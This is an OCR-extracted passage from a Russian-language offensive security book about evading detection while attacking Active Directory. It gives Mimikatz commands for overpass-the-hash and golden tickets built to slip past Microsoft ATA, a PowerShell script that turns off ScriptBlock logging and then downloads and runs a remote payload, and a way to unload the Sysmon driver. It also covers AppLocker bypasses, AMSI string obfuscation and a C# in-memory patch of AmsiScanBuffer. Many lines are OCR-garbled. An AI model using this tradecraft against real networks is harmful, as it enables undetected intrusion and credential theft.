$_ . GroupComponent -match " Doma in Admins " ) -and ( $_ . GroupComponent -match "opsdc " ) )
Глава 4 88 Если использовать команды Find-LocalAdminAccess (найти машины в домене, где те кущий пользователь имеет права локального администратора) или Invoke-userHunter (для перечисления пользователей), то это будет обнаружено АТА как Reconnaissance using sмв session enumeration (разведка с использованием перечисления сеанса SМВ). Однако такую реакцию будут вызывать только запросы к контроллеру доме на. Если же на этапе перечислений не обращаться к контроллеру домена, то можно избежать обнаружения с помощью АТА. Эти же команды можно использовать с параметром -computerFile, указав список компьютеров (т. е. все машины, кроме контроллера домена): Invoke-UserHunter -ComputerFile pc_list . txt -Verbose Рассмотренные в предыдущих главах методы сканирования SPN также не отслежи ваются с помощью АТА. Brute force Часто возникает потребность обеспечить доступ к машине в качестве локального пользователя для получения точки опоры (закрепления). При этом в парольной политике нет ограничения на количество попыток ввода пароля. В этом случае можно использовать перебор по словарю, но это действие будет обнаружено АТА (рис. 4.8). Suspicious authentication failures Susp icious authentication fa ilures i ndicating а potentia l brute-force attack were detected Рис. 4.8. Событие Suspicious authentication failures АТА Дело в том, что АТА определяет многократное подключение с разными паролями в течение короткого промежутка времени (рис. 4.9). Reason Excessive number of authentication failures (507 within а few seconds] Рис. 4.9. Причина события Suspicious authentication failures Можно избежать обнаружения, если применять технику password spraying (т. к. мы имеем список пользователей) или устраивать длительные задержки при переборе пароля. Также можно задействовать password spraying, чередуя пароли с задержка ми. При любом из этих вариантов мы уклоняемся от обнаружения АТА. Overpass - The - Hash Допустим, мы получили досrуп к хешам NTLM и провели атаку Overpass-the-hash для создания билета KerЬeros и досrупа к ресурсам или сервисам:
Уклоняемся от обнаружения при атаке на домен 89 I nvoke-Mimi katz -Cormnand ' " sekurlsa : : pth /use r : [USER] /domain : [ DOМAI N ] /ntlm: [NTLМ хеш] /run : powershell . ехе " ' Но в этом случае мы будем обнаружены АТА. Сработают сразу два правила: Encryption downgrade activity и Unusual protocol implementation. При этом в сообще нии будет указана причина - понижение уровня шифрования .. Разница в шифрова нии при передаче обычного пароля и при передаче NTLM-xeшa показана на рис. 4. 1 0. AES Normal • • etype: 6 itl!llS EllCТYPE : eТYPE-AES256-CТS-lllAC -SllA1-96 (18) EllCТYP E: eТYPE-ARCFOUR-ltW:-№5 (23) EllCТYPE : eТYPE-ARCFOUR-ttlAC-OLD (-133) EllCТYPE: еТУРЕ-АRСFО.М-№4 ( -128) ЕNСТУРЕ : eТYPE-ARCFO.М-lllAC - №5-Sб (24) ЕNСТУРЕ : eТYPE-ARCFOUR-lllAC -OLD-EXP ( - 135) • Муре : NTLМ 7 itl!llS ЕNСТУРЕ : ЕNСТУРЕ : ЕNСТУРЕ : ЕNСТУРЕ : ЕNСТУРЕ : EllCТYPE : ЕNСТУРЕ : etype: 7 itl!llS ЕNСТУРЕ: eТYPE-AES256-CТS·ltW:-SllA1-96 (18) ЕNСТУРЕ: еТУРЕ -АЕS1:ZВ-СТS-114АС -SНА1-96 (17) ЕNСТУРЕ: eТYPE-ARCFOUR-ltW:-№5 (2Э) ЕNСТУРЕ: eТYPE -ARCFOUR-lllAC -Ol.D ( -1И) ЕNСТУРЕ: eТYPE-ARCFOUR-1114 ( -128) ЕNСТУРЕ: eТYPE-Al!CFOUll-lllAC -№5-56 (24) ЕNСТУРЕ: eТYPE-ARCFOUll -lllAC -Ol.D-EXP ( -135) eТYPE-IAJ\.L (0) eТYPE-NULL (0) eТYPE-ARCFOUR-114AC-1'1>5 (2Э) eТYPE-ARCFOUR-ltW: -OLD ( -1ЗЭ) eТYPE-ARCFOUR-№4 ( -128) · eТYPE-ARCFOUR-lllAC -l'l>S-56 (24) eТYPE-ARCFOUR-ttW: -OLD-EXP ( -135) Рис. 4.10. Уровни шифрования при различных способах авторизации Куда более схожи между собой способы авторизации при помощи обычного пароля и с применением AES. Поэтому избежать обнаружения АТА можно, используя ключи AES. Для их извлечения можно задействовать тот же Mimikatz: Invoke-Mimikatz -Cormnand "' sekurl sa : : e keys'" -ComputerName [ РС Name ] Теперь можно выполнить Overpass-The-Hash, при этом в качестве ключа AES I 28 использовать любое значение. I nvoke-Mimikatz -Command ' " sekurl sa : : pth /user : [USER] /domain: [ DOМAI N ] /ase25 6 : [ Сдампленный AES 2 5 6 ] /nt lm : [NTLМ хеш] /aes 1 2 8 : 0 1 2 3 4 5 67 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 67 8 901 /run : powershell . exe" ' В таком случае мы успешно выполним Overpath-The-Hash и избежим обнаружения с помощью АТА. Go lden Tic ket Допустим, мы создали «золотой билет» и даже успешно сохранили его в память. Но как только мы обратимся к ресурсу в домене, АТА обнаружит это и классифициру ет как событие Encryption downgrade activity. Так как причина события такая же, что и в случае с Overpath-The-Hash, то и решение такое же - ключи AES. Invoke-Mimi katz -Cormnand ' " kerberos : : golden /User : [ USER] /domain : [ DOМAIN] /sid : [ S I D ] /aes2 5 6 : [ ключ AES25 6 ] /id : [ I D] /groups : [ GROUP] /ptt " ' Таким образом мы можем сгенерировать золотой билет и в дальнейшем использо вать его без риска быть обнаруженным с помощью АТА.
90 Глава 4 Что не обнаруживается с помощью АТА Как уже бьmо отмечено, сканирование SPN не подлежит детектированию с по мощью АТА, т. к. нет взаимодействия с контроллером домена. По той же причине не будут обнаружены и атаки на серверы Microsoft SQL Server и базы данных. При наличии NTLM-xeшa учетной записи службы мы можем создать TGS и пре доставить его службе для получения доступа (Silver Ticket). Так как при этой опе рации отсутствует взаимодействие с контроллером домена, АТА не может обнару жить использование Silver Тicket. Техника повышения привилегий до SYSTEM из группы DnsAdmins не обнаружи вается АТА. При использовании доверительных отношений между доменами по умолчанию применяется шифрование RC4, т. е. исключается возможность пониже ния шифрования. Поэтому АТА не обнаруживает ис_пользование доверительных отношений (за исключением случаев, когда администраторы в свойствах доверия во всех доменах не включат поддержку AES). Во всех случаях репликаций с помощью DCSync вы будете обнаружены и зареги стрированы АТА, кроме одного: когда DCSync выполняется с одного из контролле ров домена. Эrо легитимная операция между контроллерами домена, и в таких дей ствиях нет никаких аномалий, т. е. и реакции АТА не последует. В этой главе приведены не все техники уклонения от обнаружения. Остальные средства обнаружения и способы их обхода будут рассмотрены в следующих гла вах.
ГЛАВА 5 Защита от детекта в Active Directory Проникнуть в сеть под управлением Active Directory - это только половина успе ха. Другая важнейшая задача - оставаться в этой сети незамеченным как можно дольше. Поэтому сегодня мы разберем техники скрытия атаки от конкретных средств обнаружения и реагирования. Обход журнал ирования PowerShell ScriptBlock С выходом Windows 10 и PowerShell 5.0 компания Microsoft представила несколько новых функций безопасности для PowerShell, в числе которых - ведение журнала ScriptBlock. Эта функция создаеТ большие проблемы для атакующего (будь то ред тимер, пентестер, исследователь или злоумышленник), т. к. регистрирует абсолют но все подозрительные действия в PowerShell. И созданные ScriptBlock журналы подлежат анализу стороной защиты. Как и в случае с любой службой логирования, ведением журнала ScriptBlock управляют с помощью параметров групповой политики. PowerShell запрашивает его каждый раз, когда обнаруживает новый ScriptВlock, чтобы определить, нужно ли его регистрировать. Но дело в том, что PowerShell выполняет запрос один раз, кеширует его в памяти и возвращает при каждом обращении. Таким образом, эти параметры могут быть легко изменены с помощью следующего кода: $GroupPolicySettingsField = [ ref ] . AssemЬly . GetType ( ' System. Management . Automation . Utils ' ) . GetField ( ' cachedGroupPoli cySettings ' , ' NonPuЬlic, Static ' ) $GroupPolicySettings = $GroupPo li cySettings Field . GetValue ( $nul l ) $GroupPoli cySettings [ ' ScriptBlockLogging ' ] [ ' EnaЬleScriptBlockLogging ' ] = О $GroupPo licySettings [ ' ScriptBlockLogging ' ] [ ' EnaЬleScriptBlockinvocationLogging ' ] = О Указанные действия можно выполнить, не обладая привилегиями администратора и не трогая реестр, что позволяет нам сделать это незаметно. Но есть одно ограни чение. Новые политики применяются после проверки параметров, которые будут просмотрены, когда завершится первый ScriptBlock, что приведет к регистрации события. Поэтому данный триггерный ScriptBlock должен быть максимально об-
92 Глава 5 фусцирован и не должен нести никакой полезной нагрузки. То есть выполняется он специально для завершения журналирования. $GroupPolicyField = [ re f ] . AssemЫy . GetType ( ' System. Management . Automation . Utils ' ) . "GetFie ' ld" ( ' cachedGroupPolicySettings ' , ' N ' + ' onPuЫic, Static ' ) I f ( $ GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField . GetValue ( $null ) I f ( $ GroupPolicyCache [ ' ScriptB ' + ' lockLogging ' ] ) { $GroupPolicyCache [ ' ScriptB ' + ' lockLogging ' ] [ ' EnaЫeScriptB ' + ' lockLogging ' ] = О $GroupPo licyCache [ ' ScriptB ' + ' lockLogging ' ] [ ' EnaЬleScriptBlockinvocat ionLogging ' ] = О } . $val = [ System . Collections . Generic . Dictionary [ string, System . Obj ect ] ] : : new ( ) $val . Add ( ' EnaЬleScriptB ' + ' lockLogging ' , 0 ) $val . Add ( ' EnaЬleScriptB ' + ' lockinvocationLogging ' , 0 ) $GroupPolicyCache [ ' HКEY_LOCAL_МACH INE\Software\Policies \Microsoft\ Windows \PowerShel l \ScriptB ' + ' l ockLogging ' ] = $val iex ( New-Object Net . WebClient ) . downloadstring ( " https : / / server/payload . ps l " ) Приведенный выше скрипт выполняет триггер для журнала, проверяет параметры логирования и запускает полезную нагрузку в обход журналирования. Уклонение от ре гистрации Sysmon Системный монитор (Sysmon) - это системная служба Windows, предназначенная для мониторинга и регистрации активности системы в журнале событий Windows. Она предоставляет подробную информацию о создании процессов, о сетевых под ключениях и изменениях времени создания файлов. Sysmon генерирует с помощью Windows Event Collection или агентов SIEM события и собирает их. Анализ собран ных событий помогает идентифицировать вредоносную или аномальную актив ность. Что очень важно, Sysmon не предоставляет анализ событий, которые он генерирует, а также не пытается защитить систему или спрятаться от злоумышлен ников. Sysmon - мощное средство анализа и представляет большую проблему для опера тора, т. к. позволяет обнаружить различные индикаторы вредоносной активности, например создание процессов, файлов, потоков или изменение реестра. Сам Sysmon состоит из системной службы и драйвера, который предоставляет службе информацию. Хотя Sysmon и не пытается себя скрыть, но имя службы и имя драй вера по умолчанию могут быть изменены (рис. 5 . 1 ). В любом случае измененное имя драйвера не проблема, т. к. у каждого драйвера есть своя аптитуда - уникальный идентификатор, который указывает положение драйвера относительно остальных в стеке файловой системы. Таким образом, Sysmon имеет предопределенное значение з в s 2 0 1 . То есть мы сможем обнаружить данный драйвер, даже если его переименуют (рис. 5 .2).
93 За щита от детекта в Active Directory PS С: \ U s e r s \ root\Desktop\System> Syst e m � o n i t o r vl0 . 42 (С) Copy - i ght S�s i п t e - n a l s - Dr·.;Na:н• . \ Sysmon64 . exe S y s t e m a c t i vity . mon i t o r 2014 - 2019 H a r k R u s si novi c h a n d Thomas G a r n i e r - ��� . s y s i n t e rn a l s . com S;. smon64 i n s t a l l e d . Or\�ame i ns t a l l e d . S t a - t i n g D�vName . D·-"1Na1r·e s t a rt e d . S t a r t i n g Sysmon64 . . Sysmon64 s t a r t e d . Рис. 5.1. Изменения имени Sysmon на DrvName Рис. 5.2. Дефолтная аптитуда DrvName - 385201 Для выгрузки драйвера можно использовать п tмс, но перед этим Sysrnon запрото колирует данное действие в журнале командной строки. Лучше использовать функции FilterFindFirst ( ) и FilterFindNext ( ) из библиотеки flt lib . dll, чтобы найти и выгрузить драйвер с аптитудой з в s 2 0 1 без регистрации этого события (рис. 5 .3). Description: Filter Manaqer Control Proqram Product Microsoft$ Windows4!> Operatinq System Com pany: M icrosoft C orporation OriqinalFileName: fltMC.exe [ o m m andLine: fltMC.exe unload NotSvs m n 1 C urrentDirectory: С:\ Windows\system32\ Рис. 5.3. Регистрация fltmc.exe в журнале командной строки с помощью Sysmon Shhrnon (https://gitbub.com/matterpreter/Sbhmon) использует эти функции для вы грузки драйвера. Чтобы это сделать, токен процесса должен иметь привилегию SeLoadDriverPrivileges, которая есть у Shhrnon за счет advapi32 ! AdjustTokenPrivileges (рис. 5 .4). Privileqes: SeSecurityPrivileqe SeTakeOwnershi pPrivileqe SeloadDriverPrivileqe SeBackupPrivileqe SeRestorePrivileqe SeDebuqPrivileqe SeSystem EnvironmentPrivileqe Selm personateP rivileqe SeDeleqateSessionUserlm personatePrivileqe Рис. 5.4. Привилегии Shhmon
Глава 5 94 Таким образом, мы без детекта можем обнаружить даже переименованный Драйвер Sysmon. Для этого используем Shhmon с параметром hunt (рис. 5 .5). Затем выгружаем драйвер, используя Shhmon с параметром kill (рис. 5 .6). PS [+) С : \Us e:-s\root\De s ktop> . \Shhn оп . ехе h L1 nt Found t h e Sysmcn d:-ive� a t a l t i t u d e 385201 r u n n i n g with a l t e r n a t e п ате ·oгvName " Рис. 5.5. Обнаружение переименованного драйвера Sysmon PS С : \Uset'S \ 1· o o t \ De s k t o p > . \ S h f111ю n . ехе k i l l [ + ] found t he S y s mo n d r i v e ' at al t i t u d e 385201 runn i n g w i t h a l t e r n a t e name "DrvName " [ + ] Try i n g to k i l l t h e d ri ver . . . [ * ] Addi n g SeLoadDri v e r P r i v i l e g e t o token [ + ] R e c e i ved LUID [ * ] Adjust i n g token [ + ] S e l oadDriverP r i v i l e g e a d d e d ! ( • ] DrvName �as unlcaded : ) ' Рис. 5.6. Выгрузка драйвера Sysmon Служба Sysmon остается активной, но уже без возможности собирать события и анализировать журналы! Правда, это происходит не бесследно, т. к. перед выгруз кой драйвера будет сгенерировано событие Sysmon с ID 255 - Drivercommunication (рис. 5 .7). IDI Ori�ommunication Olscnption: F"lttd to №rilWl tvenU • Last e!R)r: Th• VO optralion hls ь..n eЬorted Ьtсаuи of liltlet 1 tl1R111d exit or an applJcation niquest Рис. 5.7. Событие Sysmon DriverCommunication Плюс ко всему использование привилегии SeLoadDriverPrivileges без протоколиро вания доступно только для NT AUTHORITY\SYSTEM, в противном случае будет сгенери ровано событие безопасности с Ш 4672. Тем не менее активный сбор и анализ дан ных с помощью Sysmon перестанет быть для нас проблемой. В качестве дополнения можно сказать про инструмент под названием Invoke PhantOm (https://github.com/hUdzflnvoke-PhantOm/ЫoЬ/master/lnvoke-PhantOm.psl). Этот сценарий просматривает стеки потоков процесса службы журнала событий и определяет, какие из потоков подлежат уничтожению. Таким образом, система не сможет собирать журналы, и в то же время служба журнала событий будет рабо тать. Уклонение от Honeytoken Honeypot - приманка для злоумышленника. Такие ресурсы создают специально для того, чтобы они подверглись атаке или несанкционированному воздействию. Впоследствии аналитики изучают стратегию атаки, а также определяют, с помо щью каких средств она велась. Прн этом успешная атака на такой ресурс не прине сет никакого вреда атакуемой инфраструктуре. Иными словами, honeypot может
За щита от детекта в Active DirectofY 95 представлять собой как специальный выделенный сервер, так и один отдельный сервис. Honeytoken'ы - это honeypot'ы, которые не являются компьютерными системами. Например, к этой категории можно отнести вымышленные слова или записи, кото рые добавляются в реальные базы данных. Они позволяют администраторам от слеживать утечки данных в сетях, потому что в обычных условиях эти данные всплывать не должны вообще. Так как они вряд ли когда-либо появятся в легитим ном трафике, honeytoken'ы могут быть легко обнаружены с помощью IDS. Помимо этого, honeytoken' ами могут быть специальные учетные записи пользова телей (особенно с описанием admin или netAdmin) либо записи в базе данных (нигде не используемые случайные поля вроде password2 ) . Частый пример honeytoken нигдe не используемый адрес электронной почть1. Но если объекты создаются специально для того, чтобы их нашли, как оператору не попасть в ловушку? Дело в том, что в этих объектах присутствуют так называемые маркеры - признак, по которому обманка отличается от реального объекта. К примеру, если взять объект «учетная запись», то некоторые средства генерации honeytoken'oв портят следующие атрибуты: L] objectS I D - имеет неверный формат; L] lastLogon - наличие пользователей, которые никогда не входили в систему, но имеют привилегии; L] logoncount - если у большинства учетных записей средний показатель logoncount составляет около 50, а у какой-то учетной записи - 3 или 4, это повод заду маться; L] badPwdCount - нет такого пользователя, который в течение длительного времени ни разу не ввел бы неправильный пароль. Как бьmо отмечено, самый надежный способ определить аномалию - это сравни вать со средним показателем. Лучше что-то оставить непроверенным, чем прове рить и быть обнаруженным. Еще один важный критерий - это объекты, не сопос тавленные с реальными компьютерами. Долгие исследования и накопленные методики позволили выявить семь самых час тых типов honeytoken'oв. 1 . Фальшивая учетная запись пользователя службы с определенным SPN и атрибу том adminCount, равным единице. В этом случае будет зафиксирована попытка Kerberoasting при запросе TGS для данной учетной записи. 2. Фальшивые учетные данные в памяти. Создание процесса с флагом NetOnly при ведет к кешированию поддельного токена, поэтому, как только оператор попы тается использовать эти учетные данные, он будет обнаружен. Данный подход применяют lnvoke-HoneyHash (https://github.com/EmpireProject/Empire/ЬloЫ master/data/module_source/management/New-HoneyHash.psl) и DCEPT (https:// github.com/secureworks/dcept).
Гла ва 5 96 3 . Фальшивые учетные записи компьютеров. Как уже отмечалось, созданные объ екты домена без привязки к фактическим устройствам подозрительны. Если ис пользовать их для бокового перемещения, оператора обнаружат. 4. Фальшивые данные диспетчера учетных данных. Специально введенные учет ные данные будут отображаться при задействовании mimikatz. Соответственно, использование этих учетных данных неминуемо приведет к разоблачению. 5 . Фальшивые администраторы домена. Эти учетные записи неактивны и никогда не использовались. Среди большого количества учетных записей можно не учесть неактивные. Перебор учетных данных для таких записей сразу вьщаст оператора. Этот способ используется в АТА. 6. Фальшивые диски. Многие скрипты или черви распространяются через SМВ ресурсы, особенно если ресурс помечен как общий. Таким образом, все обраще ния к данным ресурсам будут обнаружены и зарегистрированы. 7. Записи DNS. При переходе по специальным DNS-именам данный факт будет зарегистрирован и оператор будет обнаружен. Основная идея всех фальшивых объектов - заставить оператора использовать их. Однако оператор может изучить эти объекты перед использованием. Для детекта всех семи типов honeytoken'oв был разработан инструмент Honeypot Buster (https://github.com/JavelinNetworks/lloneypotBuster/ЬloЬ/master/Invoke HoneypotBuster.psl ). Использовать его можно следующим образом (рис. 5.8): Import-Module . \ Invoke-HoneypotBus ter . psl I nvoke-HoneypotBuster Рис. 5.8. Обнаружение фальшивой учетной записи с помощью Honeypot Buster Этот инструмент написан на PowerShell и поддерживает версии начиная с 2.0. Для перечисления объектов используются запросы LDAP, а для сбора учетных дан ных - загрузка DLL, чтобы получить доступ к LSASS.
За щита от двтекта в Active Directory 97 Обход AppLocker Средство под названием AppLocker снижает риск компрометации рабочих машин. Правила AppLocker применяются к целевому приложению, которое может быть исполняемым файлом, скриптом, файлом установщика и даже DLL. У каждого пра вила есть условия - это критерии идентификации приложения, к которому это правило применяется. Есть три основных условия, формирующих правила: издатель, путь и хеш файла. Условие пути к файлу определяет приложение по его расположению в системе. Условие издателя определяет приложение на основе его цифровой подписи. Усло вие хеша файла определяет приложение на основе его хеша. ТТеречисление п равил AppLoc ker Первым делом грамотный оператор постарается узнать правила AppLocker. В большинстве случаев применяются правила по умолчанию, но также встречаются и пользовательские настройки. Так как правила AppLocker обычно являются объек том групповой политики, то их можно запросить в Active Directory. В PowerShell даже существует модуль AppLocker, с помощью которого можно запросить прави ла, применяемые в данной системе. Например, следующий скрипт представит пра вила AppLocker в удобном формате: Import-Module AppLocker [ xml ) $data = Get-AppLockerPolicy -effective -xml Write-Output " [ + ] Printing Applocker Rules [ + J ' n 11 ( $data . AppLockerPolicy . RuleCollection 1 ? { $_ . EnforcementMode -match 11EnaЫed11 } ) 1 ForEach-Object -Process { Write-Output ( $_ . FilePathRule 1 Where-Object { $ _ . Name -NotLike 11 ( Default Rule) * 11 1 1 1 ForEach-Obj ect -Process { Write-Output 11=== File Path Rule === ' n ' n Rule Name : $ ( $_ . Name ) ' n Condition : $ ( $_ . Conditions . FilePathCondition . Path) ' n Description : $ ( $_ . Descr�ption) ' n Group/SID : $ ( $_ . UserOrGroupSid) ' n ' n11 } Write-Output ( $ . FileHashRule) 1 'ForEach-Object -Process { Write-Output 11=== File Hash Rule === ' n�n Rule Name : $ ( $_ . Name ) 'n File Name : $ ( $_. Conditions . FileHashCondition . FileHash . SourceFileName ) ' n Hash type : $ ( $_. Conditions . FileHashCondition . FileHash . Type ) n Hash : $ ( $_. Conditions . Fi leHashCondition . FileHash . Data) ' n Description : $ ( $_ . Description) 'n Group/SID : $ ( $_ . UserOrGroupSid) ' n ' n11 } Write-Output ( $_ . FilePuЬl isherRule 1 Where-Object { $_ . Name -NotLike 11 ( Default Rule ) * 11 } ) 1 ForEach-Obj ect -Process {Write-Output 11=== File PuЫisher Rule === ' n ' n Rule Name : $ ( $_ . Name ) ' n PuЫisherName : $ ( $_ . Conditions . FilePuЬlisherCondition . PuЬlisherName ) ' n ProductName $ ( $ . Conditions . FilePuЫisherCondi tion . ProductName ) ' n BinaryName : $ ( $- . Conditions . FilePuЬlisherCondition . BinaryName ) ' n BinaryVersion Min . $ ( $= . Conditions . FilePuЫisherCondition. BinaryVersionRange . LowSection) ' n BinaryVersion Мах . : $ ( $ . Conditions . FilePuЫisherCondition . BinaryVersionRange . HighSection) 'n Description : $ ( $_. Description) 'n Group/SID : $ ( $_. Use rOrGroupSid) ' n ' n11 }
Глава 5 98 Обход правил а xewa срайл ов В качестве алгоритма хеширования в этом правиле по умолчанию используется SНА-256. Единственный способ, которым можно получить нелегитимные функции исполняемых приложений в обход данного правила, ---: это инъекция DLL (конеч но, если приложение загружает DLL). К примеру, в Process Explorer бьша уязви мость, которая позволяла загрузить через DLL вредоносный код. Таким образом, если существует правило, позволяющее запускать Process Explorer, то можно выполнить код. На рис. 5 .9 и 5 . 1 0 бьша загружена DLL, запускающая са\с.ехе. Вместо запуска калькулятора можно использовать более существенную нагрузку. Тем не менее главная задача выполнена - получилось обойти AppLocker. === f' j } e 11«:.:1• Rн 1е l!Ltlc ��-•пе F i l e N�ne H a s h t y pe : fl l loы : SHA256 : === 1н·о с 1: :; :; 1: x 11 1u 1•t:1• prnc e x p . e xв IJ ,,:; 1 1 : 0x3 2 ')1f1E:J J l'C69 И!.i3fl D IJGCC9SE71 2 S 1'5 1'I:I'J l'6 3 2 1 1 ПA PC'i'9 fl 8 1 A 5 1 1CJ'?l.l?&?f111.1 Dc � c 1· i )Jt i o n : r1· o c (: x p . e x (: Grou p/S I � : S -1 - t -й Рис. 5.9. Правило для Process Explorer Рис. 5.10. Запуск calc.exe с помощью Process Explorer
За щита от детекта в Active Directory 99 Обход правил а пути Это правило - самое распространенное, его применяют почти везде. Так как усло вием данного правила является расположение файла в файловой системе компью тера или в сети, то и обойти его довольно легко. На одной из конференций было представлено правило, которое позволяло запуск исполняемого файла из директо рии C : \ Python27 (рис. 5 . 1 1 ). = = = F i le Pat}1 R н l e = = = Rнle На111е : A l lo\·J Ьinai•ies i n Pyt }ю n 2 ? Co n d it i o n : С : 'Pyt}юn2?'* De s c г ipt ion : C : ,Pyt ho n 2 ?'* G1•ottp/S 1 D : S-1 -1-0 Рис. 5.1 1 . Правило, разрешающее запуск из директории C:\Pythoп27 Таким образом, если каталог доступен для записи, есть возможность разместить в нем (а впоследствии и выполнить) любой файл (рис. 5 . 1 2). Рис. 5.12. Запуск файла из директории C:\Pythoп27 в обход AppLocker Обход правил а издателя Цифровая подпись содержит информацию о компании - разработчике приложе ния, т. е. об издателе. Таким образом, это правило идентифицирует приложение на основе его цифровой подписи и расширенных атрибутов. В случае исполняемых файлов, DLL и установщиков Windows эти атрибуты содержат название продукта, частью которого будет файл, предоставленное издателем оригинальное имя файла и номер его версии. В случае упакованных приложений и их установщиков расши ренные атрибуты содержат имя и версию приложения. Указанный тип правил - один из самых безопасных, и обходные пути очень огра ничены. AppLocker проверяет, действительна подпись или нет, поэтому оператор не может просто подписать приложение ненадежными сертификатами. Но данное правило можно обойти с помощью того же способа, что и правило хеша, ведь инъ екцию DLL с использованием этого правила никак не обнаружить.
Гла ва 5 100 Техника LOLBas Эта техника демонстрирует функции приложений, о которых большинство систем ных . администраторов могут и не знать. Полный список приложений, а также спо собы эксплуатации различных функций этих программ можно посмотреть на сайте https:/Лolbas-project.github.io/. К примеру, с помощью Wsreset . txt можно обойти UAC, а с помощью Advpack . d l l - выполнять команды ОС. На рис. 5 . 1 3 представлен пример выполнения команды ОС с помощью Advpack . dl l . Launch command line Ьу calling the RegisterOCX function. Usecase: Privileges required:User 05: Mitre :Т1085 Рис. 5.13. Вызов cmd.exe с помощью Advpack.dll Обход PowerShell AMSI Antimalware Scan Interface (AМSI) позволяет приложениям и службам интегриро ваться с любым имеющимся на компьютере продуктом для защиты от вредоносных программ. AМSI не зависит от поставщика антивирусных решений. Он разработан с учетом наиболее распространенных методов сканирования и защиты от них. К тому же AMSI поддерживает структуру вызовов, позволяющую сканировать файлы, память или поток, проверять URL/IP-aдpeca источника. Таким образом, AMSI сканирует, находит и блокирует все, что, по его мненmо, может нанести вред системе. По умолчанию AMSI работает с Microsoft Defender. Защитник Windows отменит свою регистрацию в качестве поставщика AMSI и отключится, когда другой анти вирусный движок зарегистрируется в этом качестве. Ошибки выполнения кода, вызываемые AMSI (рис. 5 . 14), можно получить при ис пользовании таких известных сценариев, как PowerShell Empire или PowerSploit. На самом деле AMSI детекгирует вредоносное ПО на основе известных строк. К при меру, если хоть где-то в коде встретится строка arnsiutils, дальнейшее выполнение кода будет заблокировано. PS C : \Us e1�s\root\Desktop> . . am".•!1t1 i , ' Рис. 5.14. Ошибка выполнения, вызванная AMSI
За щита от детекта в Active Directory 101 Обойти сканирование на основе известных строк легко: достаточно не использо вать строки в целом виде (рис. 5 . 1 5). То есть, если мы разобьем строку arnsiutils на строки arns, iut и ils, код будет успешно выполнен. PS C : \Us e r s \ root\Des k top> " a111 s " - " i u t " � " i l s " aщs i u t i l s Рис. 5.15. Конкатенация строк для обхода сканирования AMSI Но при использовании серьезных сценариев этот трюк может не сработать. Таким образом, мы можем вообще уйти от конкатенации разделенных строк благодаря простому кодированию и декодированию строк. В результате мы получим исход ную строку в момент выполнения. В качестве кодировки можно использовать Base64 (рис. 5 . 1 6). " 1 1 1t PS < : \LJS<'r·s \r·oot\Desktop> [Conve r· t ] : : ToBase64 S t r i n g ( [ Text . E ncodi ng] : : UTF8 . GetBytes C ·'''"· ' '' ') ) YWl.t dXVOawxz л ;"о \ f;,:iл-.. 1 ' ) PS < : \Users \root\Desktop• fConve 1· t ] : : F romBase64 S t r i ng ( 91 109 11) 10) 1 17 116 1 0 ') 1 01! 11) P S ( : \Users\r·oot\Desktop> [ Тe x t . Е nc odi ng] : : UТF 8 . Getst r i ng!,[Conve1·t] : : F ron1Base64st r i ng( '",w1.0 ,,х·, '"''"! " ) ) ams i u t i l s Рис. 5.16. Использование кодировки Base64 для обхода сканирования AMSI Но если мы сгенерируем полезную нагрузку и закодируем ее в Base64, то AMSI все равно ее распознает (не помогает скрыться даже двойное кодирование Base64)! По этому куда более надежным способом будет использование XOR (рис. 5 . 1 7). PS C : \Users\root \Desktop> PS С : \Users\root\Desktop> PS С : \1Jsers\root\Desktop> PS C : \llse1·s\root\Desktop> PS С : \IJseгs\гoot \ Desl-'.top> 96 108 114 104 99 120 113 96 114 114 PS С: \Llsers\root\Desktop> P S С : \IJsers 1root\Desktop> 97 109 115 Н!5 98 121 112 97 115 115 PS С : \Users\root 1Desktop> amsibypass $ е пс @О $dec @( ) $txt foreach( $byte in [ Text . E ncoding ] : : UT F 8 . GetByt e s ( $txt ) ) { $enc " $byte $enc forea c h ( $byte in $enc ) { $dec $dec •- $byte ' "' ' 1 } [ Text . Encoding] : : UТF8.GetString($dec ) Рис. 5.17. Использование XOR для обхода сканирования AMSI -' С - 1 }
Глава 5 102 Но XOR тоже можно распознать, правда для этого потребуется более высокая абст ракция. Поэтому лучше использовать комбинированные решения: например, XOR + Base64, Base64 + ROТI 3 . Как м ы уже говорили в прошлых главах, гораздо удобнее немного модернизиро вать средство защиты, тем самым меняя его функциональные возможности. То же самое и с AМSI: обход строк - это хорошо, но лучше, когда оператор использует полные скрипты и ему ничего не мешает. AMSI имеет несколько функций, которые выполняются перед запуском любого ко да PowerShell (начиная с PowerShell 3 .0), поэтому, чтобы полностью обойти AMSI и выполнить любой вредоносный скрипт PowerShe\l, оператору необходимо внести поправки непосредственно в памяти. AMSI защищает PowerShe\l, загружая библиотеку ams i . dll в область памяти PowerShell. При этом AМSI не различает пользователя с низкими привилегиями и привилегированного пользователя, такого как администратор какой-нибудь служ бы. AМSI загружает свою DLL для любого экземпляра PowerShell и сканирует кон соль PowerShell с помощью Windows Defender, чтобы определить, следует ли бло кировать операцию с полезной нагрузкой или разрешить ее выполнение. Для начала необходимо собрать DLL-библиотеку, которая будет отключать AМSI. Немного изменив код (представленный на одной из конференций - сейчас я уже не вспомню, на какой), чтобы уйти от использования слов AМSI, БУРASS и подоб ных, получаем следующую DLL: using System; using System. Runtime . InteropServices ; puЬl i c class А { static byte [ ] х64 = new byte [ ] ОхВВ , Ох5 7 , ОхО О , Ох0 7 , ОхВ О , ОхСЗ } ; static byte [ ] х В б = new byte [ ] ОхВВ , Ох5 7 , ОхО О , Ох07 , ОхВ О , ОхС21 Oxl B , ОхОО } ; puЬlic static void В ( ) { if ( is 64Bit ( ) ) РА ( х 64 ) ; else РА (х8 6 ) ; private static void PA (byte [ ] patch) { try { var lib = Win32 . LoadLibrary ( "amsi . dll" ) ; var addr = Win3 2 . GetProcAddress ( lib, "Ат" + " s iS" + " са" + "nВu" + " ffer" ) ; uint oldProtect ; Win3 2 . VirtualProtect ( addr , ( U intPtr) patch . Length, Ох4 0 , out oldProtect ) ;
